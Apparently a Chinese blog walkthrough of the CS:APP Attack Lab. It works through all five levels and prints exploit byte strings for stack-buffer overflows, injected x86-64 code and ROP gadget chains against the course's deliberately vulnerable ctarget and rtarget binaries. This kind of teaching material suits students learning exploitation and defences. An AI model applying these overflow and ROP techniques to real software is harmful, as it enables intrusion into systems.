《深入理解计算机系统》实验三Attack Lab

前言

《深入理解计算机系统》实验三Attack Lab的下载和官网文档的机翻请看
《深入理解计算机系统》实验三Attack Lab下载和官方文档机翻

我觉得这个文档对整个实验很有帮助。

Level 1

先把整个ctarget反汇编了看看里面是啥内容

linux> objdump -d ctarget

里面特别多内容,找到我们需要的
test函数
test函数反汇编
test函数调用getbuf函数
getbuf函数反汇编
touch1函数。需要把touch1函数注入进程序
touch1函数
test()调用getbuf(),而getbuf()函数可以造成溢出,可以溢出到存放返回地址的内存,并且可以把返回地址改写。我们只要把touch1()函数的起始地点写入进getbuf()函数的返回地址,就可以完成。即test()->getbuf()->…->getbuf()->test()变成test()->getbuf()->…->getbuf()->touch1()。

可以看到getbuf()函数的返回地址是0x401976
在这里插入图片描述
我们使用gdb来调试ctarget
在这里插入图片描述
给getbuf()函数打上断点
在这里插入图片描述
用run -q运行到断点处会停止。即getbuf函数的第一行
(不用run -q运行会报错"Running on an illegal host",在文档中写到"-q :不要把成绩发给评分服务器"。所以应该是测试版的连接不到服务器,或者没有权限连接到服务器)
在这里插入图片描述
查看寄存器%rsp的地址
在这里插入图片描述
查看0x5561dca0内存地址的值
在这里插入图片描述
4200822(十进制)=0x401976(十六进制)。和我们的想法一致。
现在程序到0x4017a8还没执行,我们给它的下一行打上断点
在这里插入图片描述
用下一行的地址0x4017ac来打上断点
在这里插入图片描述
用continue执行程序,到下一个断点停止
在这里插入图片描述

执行了sub $0x28,%rsp命令。给栈分配了40(0x28的十进制)个字节
在查看一下寄存器%rsp的地址
在这里插入图片描述
现在getbuf()的返回地址应该存放在内存0x5561dc78+40处
查看一下,确实如此
在这里插入图片描述
也就是我们只要存入40个字节,就可以到内存中返回地址的位置。
然后把touch1()函数的起始地址写入返回地址中即可。
40个字节

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

加上touch1()函数的起始地址:4017c0
在这里插入图片描述
在我的机器上是小端法,所以是

c0 17 40 00 00 00 00 00

合起来就是下面的字节

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

试一下这个答案行不行(输入答案的时候不要有空格,空格也算字符,上面只是表达字节)
在这里插入图片描述
发现是错误的,因为我们输入的数存进去会变成ASCII码。应该使红框中的内容为

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

要找到一串字符串的ASCII码为上面的内容。这找起来有点麻烦。
使用hex2raw,它是生成字节序列的实用程序。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

放入one.txt文件中
在这里插入图片描述
使用I/O重定向
在这里插入图片描述
生成
在这里插入图片描述
使用I/O重定向把one-raw.txt的内容输入到ctarget中
在这里插入图片描述
就完成了第一阶段。

Level 2

Level 2就是在Level 1的基础上多了一个参数

  • 定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。
  • 第一个参数是在寄存器%rdi中传递的。
  • 注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。

需要思考的就是如何先设置寄存器%rdi中的值为cookie然后在跳转到touch2函数。那就是先从getbuf跳转到一个代码区域,然后在从代码区域设置寄存器%rdi在跳转到touch2函数。哪里找到这个代码区域,可以利用getbuf开辟出来的栈组织(sub $0x28,%rsp),把代码放入栈中。
找到这个区域,gdb调试ctarget
在这里插入图片描述
getbuf函数
在这里插入图片描述
给0x4017ac打上断点,看看栈组织%rsp的起始地址
在这里插入图片描述
调试程序,运行完了sub $0x28,%rsp
在这里插入图片描述
查看寄存器%rsp的地址
在这里插入图片描述
这就是我们要找的代码区域,我们让getbuf函数返回到这片代码区域(0x5561dc78)
这个要求和Level1 一样,只是字节不一样,变成了下面的字节

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

返回到0x5561dc78,就是从这里开始,我们可以把要执行的代码放入到这里。
在这里插入图片描述
我们要执行什么代码?

  • 把cookie值放入到%rdi寄存器
  • 跳转到touch2函数

我的cookie值是0x59b997fa

把cookie值放入到%rdi寄存器

movq $0x59b997fa,%rdi

跳转到touch2函数,使用ret命令

CPU执行ret指令时,相当于进行:POP IP。——《汇编语言》(王爽第三版)P190
ret指令从栈中弹出值,然后跳转到这个地址。——《深入理解计算机系统》P166

所以我们可以把touch2函数的地址0x4017ec压入栈中,然后使用ret命令即可实现跳转。
在这里插入图片描述

pushq $0x4017ec
ret

合起来要注入的代码即

movq  $0x59b997fa,%rdi
pushq $0x4017ec
ret

要获取它的字节表示
编写.s汇编文件
two.s:

movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

编译在反汇编
在这里插入图片描述

打开通过反汇编得到two.d程序
two.d:

two.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

得到要注入的代码的字节为

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

和上面的注入返回地址的字节合在一起(把上面的注入返回地址的字节前面的0替换成注入的代码的字节)即

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

下面就和Level1后面的操作一样。
放入two.txt文件
在这里插入图片描述
使用hex2raw
在这里插入图片描述
使用I/O重定向把two-raw.txt的内容输入到ctarget中
在这里插入图片描述
完成了第二阶段。

Level 3

Level3 就是在Level 2的基础上难了一丢丢。
传递一个字符串作为参数。这个字符串就是cookie。

  • 该字符串应包含cookie的8个十六进制的表示。
  • 在C语言中,字符串表示为一个字节序列,后面跟着一个值为0的字节。在Linux机器上输入”man ascii“以查看所需字符的字节表示。
  • 注入的代码应该将寄存器%rdi设置为这个字符串的地址。
  • 当函数hexmatch和strncmp被调用时,它们将数据压入堆栈,覆盖保存getbuf使用的缓冲区的内存部分。因此,您需要小心放置cookie的字符串表示。

有了Level 1和Level 2的经验,我们先把基础的东西写好。和Level 2一样,找到代码区域(Level 2的步骤重复一遍)。
gdb调试ctarget
在这里插入图片描述

getbuf函数
在这里插入图片描述
给0x4017ac打上断点,看看栈组织%rsp的起始地址
在这里插入图片描述
调试程序,运行完了sub $0x28,%rsp
在这里插入图片描述
查看寄存器%rsp的地址
在这里插入图片描述
这就是我们要找的代码区域,我们让getbuf函数返回到这片代码区域(0x5561dc78)

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

返回到0x5561dc78,就是从这里开始,我们可以把要执行的代码放入到这里。
在这里插入图片描述
我们要执行什么代码?

  • 让%rdi指向字符串cookie的起始地址。
  • 跳转到touch3函数

字符串cookie应该用字节表示,在Linux机器上输入"man ascii"查看所需字符的字节表示
我的cookie为0x59b997fa,即

35 39 62 39 39 37 66 61

我们可以看一下Level2中的two.d文件的字节。
two.d:

two.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

打算把cookie放在

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

的后面,但是需要注意的是
在这里插入图片描述
红框的内容是不一样的。
代码段的起始地址为0x5561dc78,算上”48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3“字节,即把cookie放在0x5561dc85。让%rdi指向0x5561dc85
touch3函数的地址是0x4018fa
在这里插入图片描述
形成代码:

movq $0x5561dc85,%rdi
pushq $0x4018fa
retq

要获取它的字节表示
编写.s汇编文件
three.s:

movq $0x5561dc85,%rdi
pushq $0x4018fa
retq

编译在反汇编
在这里插入图片描述
得到文件three.d
three.d:

three.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 85 dc 61 55 	mov    $0x5561dc85,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

获取到的字节表示为

48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3

后面加上cookie值为

48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61

在和上面写的注入返回地址的合起来即

48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

很好,这是一个很好的尝试,让我们运行一下,
在这里插入图片描述
在这里插入图片描述
看来是有问题了。打打断点找到问题
经过我们的注入代码程序走向大致是
test->getbuf->注入的代码->touch3->hexmatch
使用gdb调试
在这里插入图片描述

从getbuf输入字符串后开始调试。
在这里插入图片描述
打上断点,运行程序
在这里插入图片描述
查看此时栈指针$rsp的值
在这里插入图片描述

程序运行到到输入字符串后堆栈大致是这样的
在这里插入图片描述

在给0x4017bd打上断点,执行,查看add $0x28,%rsp执行后,retq返回语句执行前。
在这里插入图片描述
堆栈数据如下
在这里插入图片描述

然后执行retq,从栈弹出数据(0x5561dc78),跳转到该地址,就是跳转到0x5561dc78执行我们注入的代码。
注入的代码执行到retq停止,此时%rdi=0x5561dc85。
在这里插入图片描述
retq后跳转到0x4018fa即touch3的地址
在这里插入图片描述

给touch3函数打上断点,运行到断点处
在这里插入图片描述
在这里插入图片描述

查看栈指针%rsp的数据,查看0x5561dca0的数据
在这里插入图片描述
在这里插入图片描述

和我们上面图中表示一样。
执行了push %rbx后的栈
在这里插入图片描述
给跳转到hexmatch的callq命令打上断点
在这里插入图片描述
在这里插入图片描述
运行到断点处
在这里插入图片描述
查看$rsp(栈指针)和$rdi(第一个参数)和$rsi(第二个参数的值)
在这里插入图片描述

$rdi = 1505335290=0x59b997fa=cookie
$rsi = 0x5561dc85指向字符串的地址

给haxmatch函数打上断点。
在这里插入图片描述
执行callq hexmatch运行到hexmatch处。执行callq指令会将后面的指令地址压入栈,作为返回地址。即0x401916
在这里插入图片描述
在这里插入图片描述
运行到hexmatch处
在这里插入图片描述
查看0x5561dc98的值,果然如此
在这里插入图片描述

看到前面有三个寄存器入栈,在0x401850打上断点看看入栈后的情况。
在这里插入图片描述
运行到0x401850

在这里插入图片描述
在这里插入图片描述
可以看出到push %rbp后我们存放cookie的内存就给覆盖了,所以这就是我们失败的原因。
后面还要给char[110]等数据分配内存空间,给add $0xffffffffffffff80,%rsp #分配128字节。后的指令打上断点运行,看看分配128字节后的数据。
add $0xffffffffffffff80,%rsp指令为%rsp=%rsp+$0xffffffffffffff80=%rsp+(-0x80)=%rsp-128

在这里插入图片描述
在这里插入图片描述
查看$rsp的值
在这里插入图片描述
0x5561dc00=原%rsp(0x5561dc80)-0x80
在这里插入图片描述
结果上面的调试,可以发现我们之前存放的cookie的地方被其他数据覆盖了。我们要重新找到放cookie的地方。我们发现在test函数的帧中,即0x5561dca8处的数据是不会给覆盖的,可以把cookie放这里。
更改three.s汇编文件代码为

movq $0x5561dca8,%rdi
pushq $0x4018fa
retq

编译反编译
在这里插入图片描述
得到three.d

three.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

获取到字节

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

把cookie放在0x5561dca8处即返回地址后,综上所述
得到
three.txt

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61

使用hex2raw生成字节序列
在这里插入图片描述
运行ctarget
在这里插入图片描述
第三阶段搞定。

Level 4

刚看到这个是懵逼的不知道如何下手。注入攻击代码无效
我的cookie放哪?怎么传?
跳转的地址放哪?
先反编译rtarget文件

linux> objdump -d rtarget

找到start_farm~end_farm区域的代码,复制下来,粘贴到其他地方,查找一下有没有所需要的cookie的数据,发现没有。不知道如何写了,就对照着
在这里插入图片描述
把所有可以表示指令的写下来
在这里插入图片描述

然后在Level 2中提到解法主要是

  • 定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。
  • 第一个参数是在寄存器%rdi中传递的。
  • 注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。

注意到上面出现的主要有用指令是movq和pop,其中有
pop %rax
movq %rax,%rdi
引起了我的注意,把cookie放在栈顶,弹出数据到%rax,在从%rax赋值到%rdi,不正好完成"第一个参数是在寄存器%rdi中传递",还要在思考这两个怎么连续执行。弹出栈顶cookie后,如果新的栈顶是movq %rax,%rdi的地址,那retq不就可以跳转到movq%rax,%rdi了么。
这个时候终于理解了文档中提到的
在这里插入图片描述
执行完movq%rax,%rdi,如果新的栈顶数据是touch2的地址,那retq就可以跳转到touch2函数了,找到符合所提的指令地址
在这里插入图片描述
在这里插入图片描述

0x4019ab开始是58 90 c3
0x4019c5开始是48 89 c7 90 c3
0x90是nop的字节编码,它的唯一作用是使程序计数器加1。在这里就是使程序到c3(retq)。
经过了Level 3使我对堆栈有了清晰的认识,刚开始希望栈向下面那样就可以完成我们的第一步,即返回时跳转到0x4019ab执行pop %rax
(注:因为有了栈随机化,所有栈的地址是不确定的,所以Level 4和Level 5中的栈内存地址只是方便观察,因为他们的偏移量还是一样的,栈是整个的)
在这里插入图片描述

pop %rax从弹出栈顶数据,我们希望此时栈顶是我们的cookie。
在这里插入图片描述

执行完pop %rax后,执行retq指令,我们希望此时栈顶是movq %rax,%rdi的地址。
在这里插入图片描述
执行完movq %rax,%rdi指令后,%rdi中的值就是cookie。
执行到retq,我们希望此时栈顶是touch2函数的地址0x4017ec。
在这里插入图片描述
在这里插入图片描述
答案已经出来了,我们只要让栈中的内容如上所示,就可以实现。
理论了半天,一次调试都没有,现在开始实践(一次过的话真妙)!
four.txt:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

在这里插入图片描述
在这里插入图片描述
真不错(实际上是两次才过,第一次有一个字节左右写反了,不过又有什么所谓呢)。
第四阶段搞定。

Level 5

先对照下面的表,把文件中的指令编码写写。
在这里插入图片描述
在这里插入图片描述

因为栈有了随机化,像之前第三题那种写法就不行了,因为你写死的地址经过随机化可能性极大的变化了内容,栈的起始地址会变,但是栈中的间隔不会变,相当于它是整个栈移动。
在这里插入图片描述

比如我们可以把cookie放在"0x5561dcc8"它离栈顶%rsp有40个字节,经过随机化它离栈顶还是40个字节。
注意到有这个函数

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   

%rdi+%rsi正好可以满足%rsp+偏移量的要求,只要让%rdi=%rsp,%rsi=偏移量。
观察上面列出的所有可能,看看能不能完成。
经过下面两个就可以满足

0000000000401aab <setval_350>:
			(48 89 e0:movq %rsp,%rax)
  401aab:	c7 07 48 89 e0 90    	movl   $0x90e08948,(%rdi)
  401ab1:	c3                   	retq 

00000000004019c3 <setval_426>:
		     (48 89 c7:movq %rax,%rdi)
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq  
401aad:movq %rsp,%rax
4019c5:movq %rax,%rdi

现在就剩偏移量了,偏移量是我们放入栈然后取出来的,但现在我们还不能确定偏移量是多少,所以设偏移量为x。
出栈

00000000004019a7 <addval_219>:
			  (58:pop %rax)
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq  
4019ab:pop %rax

综合如下图
在这里插入图片描述
现在需要把%rax的值(偏移量)赋给%rsi,

00000000004019db <getval_481>:
		(5c:pop %rsp)
		(89 c2:movl %eax,%edx)
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
  4019e0:	c3                   	retq   

0000000000401a33 <getval_159>:
		  (89 d1:movl %edx,%ecx)
				(38 c9:cmpb %cl,%cl)
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3                   	retq   
  
0000000000401a25 <addval_187>:
			(89 ce:movl %ecx,%esi)
				(38 c0:cmpb %al,%al)
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	retq   

可以找到下面的指令
这样%rax的值就赋给%rsi了

movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi

注意:

cmpl %cl,%cl
cmpb %al,%al

对寄存器的低阶字节进行操作,但不改变它们的值
movl指令对寄存器的高4个字节的影响?
现在的情况:
在这里插入图片描述
下面就是执行

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq  
4019d6:	lea    (%rdi,%rsi,1),%rax

然后在把%rax的值赋给%rdi,跳转到touch3函数(0x4018fa)

00000000004019c3 <setval_426>:
		     (48 89 c7:movq %rax,%rdi)
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq  
4019c5:movq %rax,%rdi

栈如下
在这里插入图片描述
我们把cookie放在最顶部即
在这里插入图片描述
计算x,当程序执行movq %rsp,%rax时,在地址栈"0x5561dca8"处到cookie的地址,偏移量是72个字节(0x48)
如下图
在这里插入图片描述
最终产生如下字符
five.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

在这里插入图片描述
在这里插入图片描述
最后一关搞定。

  • 29
    点赞
  • 60
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值